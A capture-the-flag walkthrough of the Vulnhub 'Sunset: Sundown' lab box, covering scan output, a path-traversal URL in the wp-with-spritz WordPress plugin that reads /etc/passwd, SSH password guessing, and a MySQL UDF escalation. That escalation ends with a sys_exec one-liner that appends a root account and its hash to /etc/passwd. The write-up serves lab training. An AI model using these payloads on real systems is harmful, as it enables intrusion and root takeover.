Vulnhub’s Sunset Sundown CTF Walkthrough
Welcome back! Today we are going to solve Sunset: Sundown by whitecr0wz. This is classified as an easy/intermediate box depending on how much you know about pentesting.
Going through the box, I found that there were some real world aspects to some of the vulnerabilities, and others were very CTFy.
I used the box on both VMWare and VirtualBox without any problems. Okay, Let’s get going with our enumeration process!
Enumeration
We start with a simple Nmap scan.
user@kali:~/Desktop$ nmap -A -Pn -sV 192.168.1.222
Starting Nmap 7.80 ( https://nmap.org ) at 2020–09–21 14:44 EDT
Nmap scan report for sundown.attlocal.net (192.168.1.222)
Host is up (0.0011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 90:ba:81:81:b6:ec:5b:33:87:f8:73:3d:82:ca:e5:dd (RSA)
| 256 e1:bd:70:79:91:22:86:c8:e1:f5:80:ed:4a:b7:dd:ad (ECDSA)
|_ 256 9f:03:af:27:89:8a:8e:b5:c0:68:05:44:74:d3:6b:d7 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Sundown – Just another WordPress site
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.01 seconds
user@kali:~/Desktop$
Since the target only has 2 ports open, I start with the web server. Doing a quick Nikto scan we can surmise that the web server is running WordPress.
user@kali:~/Desktop$ nikto -h 192.168.1.222
- Nikto v2.1.6
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
+ Target IP: 192.168.1.222
+ Target Hostname: 192.168.1.222
+ Target Port: 80
+ Start Time: 2020–09–21 14:45:28 (GMT-4)
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header ‘link’ found, with contents: <http://192.168.1.222/wp-json/>; rel=”https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header ‘x-redirect-by’ found, with contents: WordPress
+ No CGI Directories found (use ‘-C all’ to force check all possible dirs)
+ Entry ‘/wp-admin/’ in robots.txt returned a non-forbidden or redirect HTTP code (302)
+ “robots.txt” contains 2 entries which should be manually viewed.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /wp-app.log: Wordpress’ wp-app.log may leak application/system details.
+ /wordpresswp-app.log: Wordpress’ wp-app.log may leak application/system details.
+ /: A Wordpress installation was found.
+ /wordpress: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ OSVDB-3268: /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information
+ /wp-login.php: Wordpress login found
+ 7921 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2020–09–21 14:50:43 (GMT-4) (315 seconds)
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
+ 1 host(s) tested*********************************************************************
Portions of the server’s headers (Apache/2.4.38) are not in
the Nikto 2.1.6 database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to sullo@cirt.net) (y/n)? n
Loading the page in our browser doesn’t give anything away.
So we need to enumerate the site directories, plugins, ect. The best tool for this is WPScan, so we fire that up and do a quick scan.
user@kali:~/Desktop$ wpscan — url http://192.168.1.222
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | ‘_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan Team
Version 3.8.7
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[+] URL: http://192.168.1.222/ [192.168.1.222]
[+] Started: Mon Sep 21 14:46:45 2020Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%[+] robots.txt found: http://192.168.1.222/robots.txt
| Interesting Entries:
| — /wp-admin/
| — /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%[+] XML-RPC seems to be enabled: http://192.168.1.222/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| — http://codex.wordpress.org/XML-RPC_Pingback_API
| — https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| — https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| — https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| — https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access[+] WordPress readme found: http://192.168.1.222/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%[+] Upload directory has listing enabled: http://192.168.1.222/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%[+] The external WP-Cron seems to be enabled: http://192.168.1.222/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| — https://www.iplocation.net/defend-wordpress-from-ddos
| — https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 5.4.2 identified (Latest, released on 2020–06–10).
| Found By: Rss Generator (Passive Detection)
| — http://192.168.1.222/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
| — http://192.168.1.222/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>[+] WordPress theme in use: twentynineteen
| Location: http://192.168.1.222/wp-content/themes/twentynineteen/
| Last Updated: 2020–08–11T00:00:00.000Z
| Readme: http://192.168.1.222/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 1.7
| Style URL: http://192.168.1.222/wp-content/themes/twentynineteen/style.css?ver=1.5
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty…
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.5 (80% confidence)
| Found By: Style (Passive Detection)
| — http://192.168.1.222/wp-content/themes/twentynineteen/style.css?ver=1.5, Match: ‘Version: 1.5’[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified:
[+] wp-with-spritz
| Location: http://192.168.1.222/wp-content/plugins/wp-with-spritz/
| Latest Version: 1.0 (up to date)
| Last Updated: 2015–08–20T20:15:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
|
| Version: 4.2.4 (80% confidence)
| Found By: Readme — Stable Tag (Aggressive Detection)
| — http://192.168.1.222/wp-content/plugins/wp-with-spritz/readme.txt[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups — Time: 00:00:00 <==============================> (21 / 21) 100.00% Time: 00:00:00[i] No Config Backups Found.
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up[+] Finished: Mon Sep 21 14:46:56 2020
[+] Requests Done: 52
[+] Cached Requests: 7
[+] Data Sent: 11.279 KB
[+] Data Received: 301.064 KB
[+] Memory used: 200.773 MB
[+] Elapsed time: 00:00:10
user@kali:~/Desktop$
I did a scan to try to enumerate the users of the blog, but I only found admin. I also ran the rockyou.txt wordlist against the admin user, but it was a dead end.
I did a quick Google search of the WP-With-Spritz plug-in and found something. This specific plug-in has an RFI vulnerability.
According to the exploit, we are going to use this path for our exploit.
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
When we browse to the url path, we see that the /etc/passwd has been displayed.
From here, I tried several RCE and LFI attacks. I also tried apache log poisoning, but it didn’t work. So, I moved over to SSH. Since we have a list of the users we see something interesting.
There is a user named Carlos that has a bash shell at login. There is also a MySQL user, but mysql is not running externally, so this could possibly be a privilege escalation later down the road. We’ll keep this in mind as we move on.
I ran hydra with the rockyou.txt wordlist on the SSH for the Carlos user. It took forever and went nowhere. So, I thought like a lazy admin and went for username:password. The password was carlos.
Since we had our initial shell, I grabbed the local.txt file.
I like to use Linpeas.sh. It’s great for easy wins. I navigated to the /tmp folder. Wget wasn’t installed so I had to use the curl command.
I ran the script and this was the only thing that stuck out.
So I ran in circles trying to figure out how to initiate a reverse shell with root privileges from one of these directories. Since these directories are owned by root, I thought I could build a reverse shell and trigger it from the browser.
That didn’t work so I tried to create a script that would build my own user into the /etc/passwd file and then initiate that from the browser. That didn’t work either.
So then I tried to create a script to chown my script over to root before initiating it through the browser. That didn’t work.
With none of these working, I tried to get into the wp-config.php file. I got the permission denied and that’s when I realized that I could use the RCE exploit to read this from the browser.
I browsed to this directory:
I was met with this.
So I went to the page source code and found what I was looking for.
Remember earlier when we saw that MySQL was a user? Here is the root password for the service. Also, going back to our Linpeas.sh script, we see that MySQL is a super user.
mysql -u root -p
With a little research, we find that MySQL is running as root.
Since MySQL was running as root, we find an exploit sequence to get our root shell. This tutorial shows the commands needed.
I ran through the sequence, but I kept getting an ELF error. With a little more research, I found that there is a good 64 bit version here.
I downloaded the .so file and transferred it to the target’s /tmp directory using the curl command. Back in MySQL, I changed the database.
use mysql;
I created a new table.
create table potato(line blob);
I loaded the file into the table.
insert into potato values(load_file(‘/tmp/lib_mysqludf_sys_64.so’));
I then needed the plugin directory path.
SHOW VARIABLES LIKE ‘%plugin%’;
I loaded the file into the plugin directory from our newly created table.
select * from potato into dumpfile ‘/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys_64.so’;
I created the function.
create function sys_exec returns integer soname ‘lib_mysqludf_sys_64.so’;
The exploit gave me a way to get a reverse shell, but for some reason, it wasn’t working. I tried different shells, but couldn’t get it to work. So, instead, I decided to build my own root user.
select sys_exec(‘echo “Dave:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash” >> /etc/passwd’);
This one-liner has a password hash for Password@973. I run the one-liner and then check the /etc/passwd file to see if it worked.
The user Dave was built into the /etc/passwd file. I su over to Dave and get my root shell.
I go to the root folder and grab the final flag.
This was a great CTF that offered some great practice on MySQL privilege escalation and RCE. Thanks for reading. For more walkthroughs you can follow me here on Medium or on Twitter @assume_breach Until next time!